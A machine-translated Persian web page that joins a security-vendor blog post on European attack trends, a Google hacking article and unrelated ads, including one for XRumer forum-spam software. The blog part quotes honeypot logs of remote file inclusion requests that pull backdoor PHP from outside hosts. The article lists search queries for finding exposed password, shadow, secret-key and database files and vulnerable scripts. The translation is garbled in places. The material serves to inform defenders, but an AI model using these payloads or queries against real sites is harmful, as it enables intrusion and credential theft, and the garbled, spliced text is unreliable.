پیام Inurl مورد انتظار است. استفاده از گوگل به عنوان اسکنر CGI

همانطور که ممکن است شنیده باشید، Trustwave SpiderLabs ما را منتشر کرد، که حجم عظیمی از داده های ارزشمند از تعاملات ما در سال 2011 را برجسته می کند. در این پست وبلاگ، می‌خواهم بخش خاصی از GSR را برجسته کنم که روش‌های حمله خاصی را که توسط مهاجمان علیه مشتریان ما در اروپا استفاده می‌شود، برجسته می‌کند.

بخشی در GSR به مشتریان منطقه اروپا، خاورمیانه و آسیا (EMEA) اختصاص داده شده است. Solomon Bhala، مشاور امنیتی در تیم Trustwave SpiderLabs Incident Response، موارد زیر را در رابطه با بردارهای حمله متفاوت مورد استفاده در منطقه اروپا بیان کرد:

برخلاف روندهای به خطر انداختن داده ها در قاره آمریکا، به خطر انداختن داده های بسیار کمی در شبکه های POS در اروپا، خاورمیانه و آفریقا (EMEA) رخ داد. در عوض، در نتیجه پذیرش بیشتر "تراشه و پین" (EMV) و منسوخ شدن تراکنش‌های نوار مغناطیسی (mag-stripe) در اروپا، فرصت‌های کمتری در EMEA برای سرقت داده‌های مسیر مورد استفاده در تراکنش‌های mag-stripe وجود دارد.

با این حال، در سراسر منطقه، بسیاری از سیستم‌های POS فعال با mag-stripe برای پشتیبانی فقط از کارت‌های mag-stripe یا تراکنش‌هایی که در صورت شکست EMV به mag-stripe برمی‌گردند، استفاده می‌شوند. به این ترتیب، سازش‌های موجود در کارت هنوز در تعداد کمی اتفاق می‌افتد.

به طور عمده، بازرگانان تجارت الکترونیک در EMEA هدف مجرمان سایبری بودند. کسب‌وکارهای تجارت الکترونیک به مهاجمان اجازه می‌دهند که از نظر جغرافیایی بی‌تفاوت باشند و فقط به شناسایی اهدافی که پیچیدگی فنی کمی در به خطر انداختن دارند، توجه داشته باشند.

آسیب‌پذیری‌های معمولی که در تحقیقات EMEA مورد سوء استفاده قرار می‌گیرند، ناامن بودند، اما مکانیسم‌های بارگذاری فایل قانونی یا بردارهای گنجاندن فایل از راه دور قابل بهره‌برداری بودند.

جریان حمله معمولی چیزی شبیه به این است:

منبع: گزارش امنیت جهانی Tustwave در سال 2012

تیم تحقیقاتی SpiderLabs همچنین داده هایی را از سیستم های هانی پات وب جمع آوری کرده است که این نوع روش حمله را تأیید می کند.

استفاده از موتورهای جستجو برای شناسایی اهداف

مهاجمان اغلب از پرس و جوهای موتور جستجو به عنوان روشی برای شناسایی سریع وب سایت هایی استفاده می کنند که دارای ویژگی های خاصی برای آسیب پذیری هایی هستند که می خواهند از آنها سوء استفاده کنند. هنگامی که نتایج موتورهای جستجو برگردانده می‌شوند، مهاجم فهرستی از وب‌سایت‌های هدف احتمالی برای انجام حملات را در اختیار دارد. در اینجا چند نمونه آورده شده است ارجاع دهنده داده‌های گرفته‌شده از گزارش‌های هانی‌پات‌های وب ما که استفاده از موتور جستجو را برای شناسایی برنامه‌های آسیب‌پذیر رایج نشان می‌دهد:

http://www.google.com/m?client=ms-aff-ucweb&output=xhtml&hl=en&q=inurl%3a+admin%2f+login.phphttp://www.google.com/m?client=ms- opera-mini&channel=new&q=inurl%3A+log.Txt //www.google.com/m?cx=partner-mb-pub-6630117049886772:7963048852&ie=utf8&hl=en&q=inurl%3A%20phyan .ru/yandsearch?text=biz+inurl:/gbook +sign.asp
http://yandex.ru/yandsearch?text=car+used+inurl:/light.cgi?page=
http://yandex.ru/yandsearch?text=check+inurl:/guestbook.asp
http://yandex.ru/yandsearch?text=coid+inurl:/write.asp
http://yandex.ru/yandsearch?text=dates+inurl:/modules.php?name=
http://yandex.ru/yandsearch?text=devalues+inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register %22
http://yandex.ru/yandsearch?text=dictionary+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=event+inurl:/minibbs.cgi?log=
http://yandex.ru/yandsearch?text=harder+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=inurl:%22blog
http://yandex.ru/yandsearch?text=inurl:_articles.php?homeid=
http://yandex.ru/yandsearch?text=inurl:/fckeditor/editor/filemanager
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats حالات تغییر یافته ویکی پدیا
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats ورزش های بدن را تحریم می کند
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats چه دستاوردهایی برای قرار دادن در رزومه
http://yandex.ru/yandsearch?text=inurl:/modules.php?name= سوالات و راه حل های مهندسی
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 +اتصال
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 + امور مالی
http://yandex.ru/yandsearch?text=inurl:/register.php+north
http://yandex.ru/yandsearch?text=inurl:/register.php+you
http://yandex.ru/yandsearch?text=inurl:/?show=guestbook&lr=213
http://yandex.ru/yandsearch?text=kept+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=library+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=op+inurl:/gbook.cgi?user=
http://yandex.ru/yandsearch?text=print+inurl:/guestbook.php
http://yandex.ru/yandsearch?text=provide+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=systems+inurl:/board.cgi?action=
http://yandex.ru/yandsearch?text=visits+inurl:/postcards.php?image_id=
http://yandex.ru/yandsearch?text=zi+inurl:/profile.php?id=

استفاده از ابزار/اسکریپت های اسکن آسیب پذیری

در اینجا تعدادی از نام‌های اسکنر/اسکریپت آسیب‌پذیری برتر وجود دارد که از آن گرفته شده‌اند عامل کاربر فیلدهای گزارش هانی پات وب ما:

اسکنر روتر خودکار DataCha0s/2.0Gootkit ساخته شده توسط تیم ZmEu @ WhiteHat - www.whitehat.roMaMa CaSpErMorfeus لعنتی ScannerZmEu

از آسیب پذیری گنجاندن فایل از راه دور استفاده کنید

آسیب پذیری های Remote File Inclusion به طور گسترده توسط مهاجمان به عنوان ابزاری برای اجرای کد php یا دانلود یک برنامه درپشتی تروجان مورد هدف قرار می گیرند. در اینجا چند بار حمله RFI وجود دارد که فقط برای امروز از هانی پات وب خود جمع آوری کرده ایم:

دریافت /become_editor.php?theme_path=http://www.univerzum.de/allnett.jpg?? HTTP/1.1
دریافت /become_editor.php?theme_path=http://www.univerzum.de/byroee.jpg?? HTTP/1.1
دریافت /become_editor.php?theme_path=?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //manager/admin/index.php?MGR=http://www.ralphlaurenukonlineshop.com/list.txt؟؟؟ HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N7.jpg?? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N8.jpg?? HTTP/1.1
GET //?_SERVER=http://www.triz.or.kr//data/log/auto1.txt?? HTTP/1.1
دریافت /webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://popsiclesocial.com/mmstaging//wp-admin/user/?? HTTP/1.1
دریافت //wp-content/plugins/wp_rokstories/?src=http://udassham.com//air.php HTTP/1.1
دریافت //wp-content/themes/arras/library/timhumb.php?src=http://blogger.com.mesco.com.vn/login.php HTTP/1.1
دریافت //wp-content/themes/arras/library/widgets.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
دریافت /wp-content/themes/cadabrapress/scripts/?src=http://blogger.com.3085.a.hostable.me/myid.php HTTP/1.1
دریافت /wp-content/themes/cadabrapress/scripts/?src=http://flickr.com.javafootwear.com/vegetable.php HTTP/1.1
دریافت /wp-content/themes/cadabrapress/scripts/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
دریافت //wp-content/themes/DeepFocus/_tbs.php?src=http://blogger.com.herzelconsultores.com.ar/shell.php HTTP/1.1
دریافت ///wp-content/themes/editorial/functions/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
دریافت //wp-content/themes/Magnificent/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
دریافت ///wp-content/themes/optimize/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
دریافت //wp-content/themes/Polished/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
دریافت //wp-content/themes/prosto/functions/?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
دریافت //wp-content/themes/sakura/plugins/woo-tumblog/functions/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
دریافت //wp-content/themes/telegraph/scripts/?src=http://img.youtube.com.uscd.ro/bogel.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/byroe.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/spread.php HTTP/1.1

هر یک از این فایل‌هایی که توسط http off site payload ارجاع می‌شوند، نوعی کد PHP یا Backdoor هستند. هنگامی که صفحه وب Backdoor/trojan نصب شد، مهاجم می تواند از آن برای انجام کارهای زیر استفاده کند:

جستجوی فایل های محلی برای اطلاعات دارنده کارت اعتباری:

برای جستجوی سوابق، مستقیماً به شنونده پایگاه داده متصل شوید.

این امکان پذیر است زیرا بسیاری از ACL ها اجازه دسترسی از لوکال هاست را می دهند. این همچنین به مهاجم اجازه می دهد تا کوئری های SQL را اجرا کند که ممکن است از طریق آسیب پذیری های SQL Injection در برنامه وب امکان پذیر نبوده باشد.

موتور جستجوی گوگل (www.google.com) گزینه های جستجوی زیادی را ارائه می دهد. همه این ویژگی‌ها یک ابزار جستجوی ارزشمند برای اولین کاربر اینترنت و در عین حال یک سلاح قوی‌تر برای تهاجم و تخریب در دستان افرادی با نیات شیطانی، از جمله نه تنها هکرها، بلکه مجرمان غیر رایانه‌ای هستند. و حتی تروریست ها
(9475 بازدید در 1 هفته)

دنیس باترانکوف
denisNOSPAMixi.ru

توجه:این مقاله راهنمای عمل نیست. این مقاله برای شما مدیران وب سرور نوشته شده است تا احساس کاذب امنیت خود را از دست بدهید و در نهایت موذیانه بودن این روش کسب اطلاعات را درک کرده و اقدام به حفاظت از سایت خود کنید.

معرفی

مثلا 1670 صفحه در 0.14 ثانیه پیدا کردم!

2. بیایید یک خط دیگر را وارد کنیم، برای مثال:

inurl:"auth_user_file.txt"

کمی کمتر، اما این برای دانلود رایگان و حدس زدن رمزهای عبور (با استفاده از همان John The Ripper) کافی است. در زیر چند مثال دیگر می زنم.

بنابراین، باید بدانید که موتور جستجوی گوگل از اکثر سایت های اینترنتی بازدید کرده و اطلاعات موجود در آنها را در حافظه پنهان ذخیره کرده است. این اطلاعات ذخیره شده در حافظه پنهان به شما این امکان را می دهد که بدون اتصال مستقیم به سایت، اطلاعاتی را در مورد سایت و محتوای سایت به دست آورید، فقط به اطلاعاتی که در داخل گوگل ذخیره می شود، بپردازید. علاوه بر این، اگر اطلاعات موجود در سایت دیگر در دسترس نباشد، ممکن است اطلاعات موجود در حافظه پنهان همچنان حفظ شود. تنها چیزی که برای این روش نیاز دارید این است که برخی از آنها را بدانید کلید واژه هاگوگل. این تکنیک Google Hacking نام دارد.

برای اولین بار، اطلاعات مربوط به هک گوگل 3 سال پیش در لیست پستی Bugtruck ظاهر شد. در سال 2001 این موضوع توسط یک دانشجوی فرانسوی مطرح شد. در اینجا پیوندی به این نامه آمده است http://www.cotse.com/mailing-lists/bugtraq/2001/Nov/0129.html. اولین نمونه از چنین درخواست هایی را ارائه می دهد:

1) فهرست /admin
2) فهرست رمز عبور /
3) فهرست /mail
4) فهرست / +banques +filetype:xls (برای فرانسه...)
5) فهرست / +passwd
6) Index of/password.txt

این موضوع اخیراً در بخش انگلیسی خواندنی اینترنت سروصدای زیادی به پا کرد: پس از مقاله ای از جانی لانگ که در 7 می 2004 منتشر شد. برای مطالعه کامل تر در مورد هک گوگل، به شما توصیه می کنم به سایت این نویسنده http://johnny.ihackstuff.com مراجعه کنید. در این مقاله فقط می خواهم شما را به روز کنم.

چه کسی می تواند از آن استفاده کند:
- روزنامه نگاران، جاسوسان و تمام افرادی که دوست دارند بینی خود را در تجارت دیگران بچسبانند، می توانند از این برای جستجوی شواهد مخرب استفاده کنند.
- هکرها به دنبال اهداف مناسب برای هک هستند.

گوگل چگونه کار می کند

برای ادامه گفتگو، اجازه دهید برخی از کلمات کلیدی مورد استفاده در جستجوهای گوگل را به شما یادآوری کنم.

با استفاده از علامت + جستجو کنید

گوگل از نظر خود کلمات بی اهمیت را از جستجو حذف می کند. به عنوان مثال، کلمات پرسشی، حرف اضافه و مقاله در زبان انگلیسی: برای مثال are, of, where. در روسی زبان گوگلبه نظر می رسد همه کلمات را مهم می داند. اگر کلمه از جستجو حذف شود، گوگل در مورد آن می نویسد. برای اینکه گوگل شروع به جستجوی صفحاتی با این کلمات کند، باید علامت + را بدون فاصله قبل از کلمه قبل از آنها اضافه کنید. مثلا:

آس + پایه

جستجو بر اساس علامت -

اگر گوگل تعداد زیادی صفحه پیدا کرد که می‌خواهید صفحاتی با موضوعات خاص را حذف کنید، می‌توانید گوگل را مجبور کنید فقط به دنبال صفحاتی بگردد که حاوی کلمات خاصی نیستند. برای این کار باید این کلمات را با قرار دادن علامتی در مقابل هر کدام - بدون فاصله قبل از کلمه - مشخص کنید. مثلا:

ماهیگیری - ودکا

با علامت ~ جستجو کنید

ممکن است بخواهید نه تنها کلمه مشخص شده، بلکه مترادف های آن را نیز جستجو کنید. برای انجام این کار، قبل از کلمه با علامت ~ قرار دهید.

پیدا کردن یک عبارت دقیق با استفاده از دو نقل قول

گوگل در هر صفحه همه تکرار کلماتی را که در رشته کوئری نوشته اید جستجو می کند و به موقعیت نسبی کلمات اهمیتی نمی دهد، نکته اصلی این است که همه کلمات مشخص شده همزمان در صفحه باشند ( این عمل پیش فرض است). برای یافتن عبارت دقیق، باید آن را در گیومه قرار دهید. مثلا:

"پایه کتاب"

برای داشتن حداقل یکی از کلمات مشخص شده باید مشخص کنید عملیات منطقیبه صراحت: OR. مثلا:

ایمنی کتاب یا حفاظت

علاوه بر این، می توانید از علامت * در رشته جستجو برای نشان دادن هر کلمه و استفاده کنید. برای نشان دادن هر شخصیت

یافتن کلمات با عملگرهای اضافی

عملگرهای جستجویی وجود دارند که در رشته جستجو با فرمت مشخص شده اند:

عملگر:search_term

فضاهای کنار کولون نیازی نیست. اگر یک فاصله بعد از دو نقطه وارد کنید، یک پیغام خطا مشاهده می کنید و قبل از آن، گوگل از آنها به عنوان یک رشته جستجوی معمولی استفاده می کند.
گروه‌هایی از اپراتورهای جستجوی اضافی وجود دارد: زبان‌ها - نشان می‌دهد که به کدام زبان می‌خواهید نتیجه را ببینید، تاریخ - محدود کردن نتایج برای سه، شش یا 12 ماه گذشته، موارد - نشان می‌دهد در کجای سند باید به دنبال آن باشید. رشته: همه جا، در عنوان، در URL، دامنه ها - سایت مشخص شده را جستجو کنید یا برعکس آن را از جستجو حذف کنید، جستجوی ایمن - سایت های حاوی نوع مشخص شده اطلاعات را مسدود کنید و آنها را از صفحات نتایج جستجو حذف کنید.
با این حال، برخی از اپراتورها به پارامتر اضافی نیاز ندارند، به عنوان مثال، پرس و جو " حافظه پنهان: www.google.com"را می توان به عنوان یک رشته جستجوی کامل نامید، و برخی از کلمات کلیدی، برعکس، به یک کلمه جستجو نیاز دارند، برای مثال" سایت:www.google.com کمکبا توجه به موضوع خود، اجازه دهید به عملگرهای زیر نگاه کنیم:

اپراتور

شرح

به یک پارامتر اضافی نیاز دارد؟

فقط سایت مشخص شده در search_term را جستجو کنید

فقط در اسناد با نوع search_term جستجو کنید

صفحات حاوی search_term در عنوان را پیدا کنید

صفحاتی را پیدا کنید که حاوی تمام کلمات search_term در عنوان هستند

صفحات حاوی کلمه search_term را در آدرس خود پیدا کنید

صفحاتی را پیدا کنید که حاوی تمام کلمات search_term در آدرس آنها هستند

اپراتور سایت:جستجو را فقط به سایت مشخص شده محدود می کند و شما نه تنها می توانید آن را مشخص کنید نام دامنهبلکه آدرس IP. برای مثال وارد کنید:

اپراتور نوع فایل:جستجوها را به فایل هایی از نوع خاصی محدود می کند. مثلا:

از تاریخ این مقاله، گوگل می تواند در 13 فرمت فایل مختلف جستجو کند:

  • فرمت سند قابل حمل Adobe (pdf)
  • Adobe PostScript (ps)
  • Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
  • Lotus Word Pro (lwp)
  • مک رایت (mw)
  • مایکروسافت اکسل(xls)
  • پاورپوینت مایکروسافت (ppt)
  • Microsoft Word (doc)
  • Microsoft Works (wks، wps، wdb)
  • مایکروسافت رایت (wri)
  • فرمت متن غنی (rtf)
  • Shockwave Flash (swf)
  • متن (ans, txt)

اپراتور ارتباط دادن:تمام صفحاتی که به صفحه مشخص شده اشاره دارند را نشان می دهد.
همیشه باید جالب باشد که ببینید چند مکان در اینترنت در مورد شما می شناسند. ما سعی می کنیم:

اپراتور حافظه پنهان:نسخه ذخیره شده Google از سایت را همانطور که در آخرین بازدید Google از صفحه به نظر می رسید نشان می دهد. ما هر سایتی که مرتباً در حال تغییر است را می گیریم و نگاه می کنیم:

اپراتور عنوان:کلمه مشخص شده را در عنوان صفحه جستجو می کند. اپراتور allintitle:یک پسوند است - همه چند کلمه مشخص شده در عنوان صفحه را جستجو می کند. مقایسه کنید:

عنوان: پرواز به مریخ
intitle:flight intitle:on intitle:mars
allintitle: پرواز به مریخ

اپراتور inurl:باعث می شود گوگل تمام صفحات حاوی رشته مشخص شده را در URL نشان دهد. allinurl: همه کلمات را در یک URL جستجو می کند. مثلا:

allinurl:acid_stat_alerts.php

این دستور به ویژه برای کسانی که SNORT ندارند مفید است - حداقل آنها می توانند ببینند که چگونه در یک سیستم واقعی کار می کند.

روش های هک گوگل

بنابراین، متوجه شدیم که با استفاده از ترکیبی از عملگرها و کلمات کلیدی بالا، هر کسی می تواند شروع به جمع آوری کند اطلاعات لازمو به دنبال آسیب پذیری می گردند. این تکنیک ها اغلب به عنوان هک گوگل شناخته می شوند.

نقشه سایت

برای مشاهده تمام لینک هایی که گوگل در سایت پیدا کرده است، می توانید از بیانیه سایت: استفاده کنید. معمولاً صفحاتی که به صورت پویا توسط اسکریپت ها ایجاد می شوند با استفاده از پارامترها ایندکس نمی شوند، بنابراین برخی از سایت ها از فیلترهای ISAPI استفاده می کنند تا لینک ها در فرم نباشند. /article.asp?num=10&dst=5، اما با اسلاید /article/abc/num/10/dst/5. این کار برای اطمینان از اینکه سایت به طور کلی توسط موتورهای جستجو ایندکس می شود انجام می شود.

بیایید سعی کنیم:

سایت: www.whitehouse.gov Whitehouse

گوگل فکر می کند که هر صفحه در یک سایت حاوی کلمه Whitehouse است. این همان چیزی است که ما برای دریافت تمام صفحات استفاده می کنیم.
یک نسخه ساده شده نیز وجود دارد:

سایت:whitehouse.gov

و بهترین بخش این است که رفقای whitehouse.gov حتی نمی‌دانستند که ما به ساختار سایت آنها نگاه کرده‌ایم و حتی به صفحات ذخیره‌شده‌ای که گوگل برای خودش دانلود کرده بود نگاهی انداختیم. از این می توان برای مطالعه ساختار سایت ها و مشاهده مطالب بدون توجه فعلا استفاده کرد.

فهرست کردن فایل ها در فهرست ها

سرورهای وب می توانند لیستی از دایرکتوری های سرور را به جای حالت معمول نشان دهند صفحات HTML. این معمولا برای وادار کردن کاربران به انتخاب و دانلود فایل های خاص انجام می شود. با این حال، در بسیاری از موارد، مدیران قصد ندارند محتویات یک فهرست را نشان دهند. این به دلیل پیکربندی نادرست سرور یا عدم وجود صفحه اصلی در فهرست است. در نتیجه، هکر این شانس را دارد که چیز جالبی را در فهرست پیدا کند و از آن برای اهداف خود استفاده کند. برای یافتن تمامی چنین صفحاتی، کافی است توجه داشته باشید که همگی دارای عبارت: index of در عنوان خود هستند. اما از آنجایی که فهرست کلمات فقط چنین صفحاتی را شامل نمی شود، باید پرس و جو را اصلاح کنیم و کلمات کلیدی موجود در خود صفحه را در نظر بگیریم، بنابراین پرس و جوهایی مانند:

intitle:index.of دایرکتوری والد
intitle:index.of name size

از آنجایی که بیشتر فهرست‌های دایرکتوری عمدی هستند، ممکن است در اولین بار برای یافتن فهرست‌های نابجا با مشکل مواجه شوید. اما حداقل می‌توانید از فهرست‌ها برای تعریف استفاده کنید نسخه های وبسرور همانطور که در زیر توضیح داده شده است.

دریافت نسخه وب سرور.

دانستن نسخه سرور وب همیشه قبل از شروع هر حمله هکری مفید است. مجدداً به لطف Google امکان دریافت این اطلاعات بدون اتصال به سرور وجود دارد. اگر با دقت به فهرست دایرکتوری نگاه کنید، می بینید که نام سرور وب و نسخه آن در آنجا نمایش داده می شود.

Apache1.3.29 - سرور ProXad در پورت 80 trf296.free.fr

یک مدیر با تجربه می تواند این اطلاعات را تغییر دهد، اما، به عنوان یک قاعده، درست است. بنابراین، برای دریافت این اطلاعات، کافی است یک درخواست ارسال کنید:

intitle:index.of server.at

برای به دست آوردن اطلاعات برای یک سرور خاص، درخواست را اصلاح می کنیم:

intitle:index.of server.at site:ibm.com

یا برعکس، ما به دنبال سرورهایی هستیم که روی یک نسخه خاص از سرور اجرا می شوند:

intitle:index.of Apache/2.0.40 Server at

این تکنیک می تواند توسط یک هکر برای یافتن قربانی استفاده شود. به عنوان مثال، اگر او یک اکسپلویت برای نسخه خاصی از وب سرور داشته باشد، می تواند آن را پیدا کند و اکسپلویت موجود را امتحان کند.

همچنین می‌توانید با مشاهده صفحاتی که به‌طور پیش‌فرض در هنگام نصب یک نسخه جدید از وب سرور نصب شده‌اند، نسخه سرور را دریافت کنید. به عنوان مثال، برای دیدن صفحه آزمایشی Apache 1.2.6، فقط تایپ کنید

intitle:Test.Page.for.Apache it.worked!

علاوه بر این، برخی از سیستم عاملدر حین نصب، آنها بلافاصله سرور وب را نصب و راه اندازی می کنند. با این حال، برخی از کاربران حتی از این موضوع آگاه نیستند. به طور طبیعی، اگر می بینید که شخصی صفحه پیش فرض را حذف نکرده است، منطقی است که فرض کنیم کامپیوتر اصلاً تحت هیچ گونه پیکربندی قرار نگرفته است و احتمالاً در برابر حملات آسیب پذیر است.

به دنبال صفحات IIS 5.0 بگردید

allintitle:به Windows 2000 Internet Services خوش آمدید

در مورد IIS، شما می توانید نه تنها نسخه سرور، بلکه همچنین را تعیین کنید نسخه ویندوزو سرویس پک

راه دیگر برای تعیین نسخه WEB سرور جستجوی راهنماها (صفحات راهنما) و نمونه هایی است که به طور پیش فرض بر روی سایت نصب شوند. هکرها راه های زیادی برای استفاده از این مؤلفه ها برای دسترسی ممتاز به سایت پیدا کرده اند. به همین دلیل است که باید این قطعات را در سایت تولید حذف کنید. ناگفته نماند که با وجود این قطعات می توانید اطلاعاتی در مورد نوع سرور و نسخه آن به دست آورید. به عنوان مثال، بیایید راهنمای آپاچی را پیدا کنیم:

inurl:دستی ماژول های دستورالعمل آپاچی

استفاده از گوگل به عنوان اسکنر CGI.

اسکنر CGI یا WEB scanner ابزاری برای جستجوی اسکریپت ها و برنامه های آسیب پذیر در سرور قربانی است. این ابزارها باید بدانند که به دنبال چه چیزی بگردند، برای این کار آنها یک لیست کامل از فایل های آسیب پذیر دارند، به عنوان مثال:

/cgi-bin/cgiemail/uargg.txt
/random_banner/index.cgi
/random_banner/index.cgi
/cgi-bin/mailview.cgi
/cgi-bin/maillist.cgi
/cgi-bin/userreg.cgi

/iissamples/ISSamples/SQLQHit.asp
/SiteServer/admin/findvserver.asp
/scripts/cphost.dll
/cgi-bin/finger.cgi

ما می توانیم هر یک از این فایل ها را با گوگل، علاوه بر این با نام فایل در رشته جستجو از کلمات index of یا inurl استفاده می کنیم: می توانیم سایت هایی با اسکریپت های آسیب پذیر پیدا کنیم، به عنوان مثال:

allinurl:/random_banner/index.cgi

با دانش اضافی، یک هکر می‌تواند از آسیب‌پذیری اسکریپت سوء استفاده کند و از این آسیب‌پذیری استفاده کند تا اسکریپت را مجبور کند تا هر فایلی را که در سرور ذخیره شده است، ارائه دهد. به عنوان مثال یک فایل رمز عبور.

چگونه از خود در برابر هک شدن از طریق گوگل محافظت کنیم؟

1. داده های مهم را در سرور وب آپلود نکنید.

حتی اگر داده‌ها را به‌طور موقت پست کرده‌اید، می‌توانید آن‌ها را فراموش کنید یا اینکه قبل از پاک کردن آن‌ها، کسی وقت پیدا می‌کند و می‌گیرد. انجامش نده راه های زیادی برای انتقال داده ها وجود دارد که از آن ها در برابر سرقت محافظت می کند.

2. سایت خود را بررسی کنید.

از روش های توضیح داده شده برای تحقیق در مورد سایت خود استفاده کنید. سایت خود را به صورت دوره ای برای روش های جدیدی که در سایت http://johnny.ihackstuff.com ظاهر می شود بررسی کنید. به یاد داشته باشید که اگر می خواهید اقدامات خود را خودکار کنید، باید مجوز ویژه ای از Google دریافت کنید. اگر با دقت بخوانید http://www.google.com/terms_of_service.html، سپس عبارت را مشاهده می کنید: شما نمی توانید درخواست های خودکار از هر نوع را بدون مجوز صریح از قبل از Google به سیستم Google ارسال کنید.

3. ممکن است نیازی به Google برای ایندکس کردن سایت یا بخشی از آن نداشته باشید.

گوگل به شما این امکان را می دهد که لینک سایت خود یا بخشی از آن را از پایگاه داده خود حذف کنید و همچنین صفحات را از کش حذف کنید. علاوه بر این، می‌توانید جستجوی تصاویر در سایت خود را ممنوع کنید، نمایش قطعات کوتاه صفحات در نتایج جستجو را ممنوع کنید. تمام احتمالات حذف یک سایت در صفحه توضیح داده شده است. http://www.google.com/remove.html. برای انجام این کار، باید تأیید کنید که واقعاً مالک این سایت هستید یا برچسب هایی را در صفحه یا

4. از robots.txt استفاده کنید

مشخص است که موتورهای جستجو به فایل robots.txt در ریشه سایت نگاه می کنند و قسمت هایی را که با کلمه مشخص شده اند ایندکس نمی کنند. غیر مجاز. می توانید از این برای جلوگیری از ایندکس شدن بخشی از سایت استفاده کنید. به عنوان مثال، برای جلوگیری از نمایه سازی کل سایت، یک فایل robots.txt حاوی دو خط ایجاد کنید:

عامل کاربر: *
غیر مجاز:/

چه اتفاقی دیگر می افتد

برای اینکه زندگی به نظر شما عسل نباشد، در پایان می گویم که سایت هایی هستند که افرادی را دنبال می کنند که با استفاده از روش های بالا به دنبال حفره هایی در اسکریپت ها می گردند و سرورهای وب. نمونه ای از چنین صفحه ای است

کاربرد.

کمی شیرین. یکی از موارد زیر را خودتان امتحان کنید:

1. #mysql dump type file:sql - جستجوی داده‌های پایگاه داده داده های mySQL
2. گزارش خلاصه آسیب پذیری میزبان - به شما نشان می دهد که سایر افراد چه آسیب پذیری هایی پیدا کرده اند
3. phpMyAdmin در حال اجرا بر روی inurl:main.php - این باعث می شود کنترل از طریق پنل phpmyadmin بسته شود.
4. برای توزیع محرمانه نیست
5. درخواست جزئیات کنترل متغیرهای سرور درخت
6. دویدن در حالت کودک
7. این گزارش توسط WebLog تولید شده است
8. intitle:index.of cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs - شاید کسی به فایل های پیکربندی فایروال نیاز داشته باشد؟ :)
10. intitle:index.of finances.xls - hmm....
11. عنوان: فهرست چت های dbconvert.exe - گزارش های چت icq
12. intext: تجزیه و تحلیل ترافیک Tobias Oetiker
13. عنوان: آمار استفاده برای ایجاد شده توسط Webalizer
14. عنوان: آمار آمار پیشرفته وب
15. intitle:index.of ws_ftp.ini - پیکربندی ws ftp
16. inurl:ipsec.secrets دارای اسرار مشترک است - کلید مخفی - پیدا کردن خوب
17. inurl:main.php به phpMyAdmin خوش آمدید
18. inurl:server-info اطلاعات سرور آپاچی
19. سایت:edu نمرات مدیریت
20. ORA-00921: پایان غیرمنتظره دستور SQL - مسیرها را دریافت کنید
21. عنوان: index.of trillian.ini
22. عنوان: فهرست pwd.db
23. عنوان: index.of people.lst
24. intitle:index.of master.passwd
25.inurl:passlist.txt
26. عنوان: فهرست mysql_history
27. intitle:index of intext:globals.inc
28. عنوان:index.of administrators.pwd
29. عنوان: Index.of etc shadow
30. intitle:index.of secring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:perform filetype:ini

  • "هک کردن mit Google"
  • مرکز آموزشی "Informzaschita" http://www.itsecurity.ru - یک مرکز تخصصی پیشرو در زمینه آموزش امنیت اطلاعات(مجوز کمیته آموزش مسکو شماره 015470، اعتبارنامه ایالتی شماره 004251). تنها مرکز آموزشی مجاز شرکت ها امنیت اینترنتسیستم ها و Clearswift در روسیه و کشورهای CIS. مرکز آموزشی مجاز مایکروسافت (تخصص امنیتی). برنامه های آموزشی با کمیسیون فنی دولتی روسیه، FSB (FAPSI) هماهنگ می شود. گواهینامه های آموزشی و اسناد دولتی در مورد آموزش پیشرفته.

    SoftKey یک سرویس منحصر به فرد برای خریداران، توسعه دهندگان، فروشندگان و شرکای وابسته است. علاوه بر این، یکی از بهترین فروشگاه های آنلایننرم افزاری در روسیه، اوکراین، قزاقستان که به مشتریان طیف گسترده ای، روش های پرداخت زیادی، پردازش سریع (اغلب فوری) سفارش، پیگیری پیشرفت سفارش در بخش شخصی، تخفیف های مختلف از فروشگاه و تولید کنندگان نرم افزار ارائه می دهد.

    به روز رسانی گسترده برنامه XRumer که در آن منطق ثبت پروفایل در پلتفرم های مختلف به طور قابل توجهی تکامل یافته است، کار با پلتفرم های Bitrix، Joomla، WordPress Forum، MyBB، VBulletin، XenForo بهبود یافته است، مکانیزمی برای تغییر ارسال شده متن بسته به موضوع سایت گیرنده اضافه شده است (ماکرو # جدید)، به روز رسانی و افزایش پایگاه داده های پیوست شده - حجم کل از 8 میلیون سایت فراتر رفت، کار با HTTPS و Google ReCaptcha-2 بهبود یافته و موارد دیگر...

    26 ژانویه 2019

    XRumer 16.0.18 + SocPlugin 4.0.63

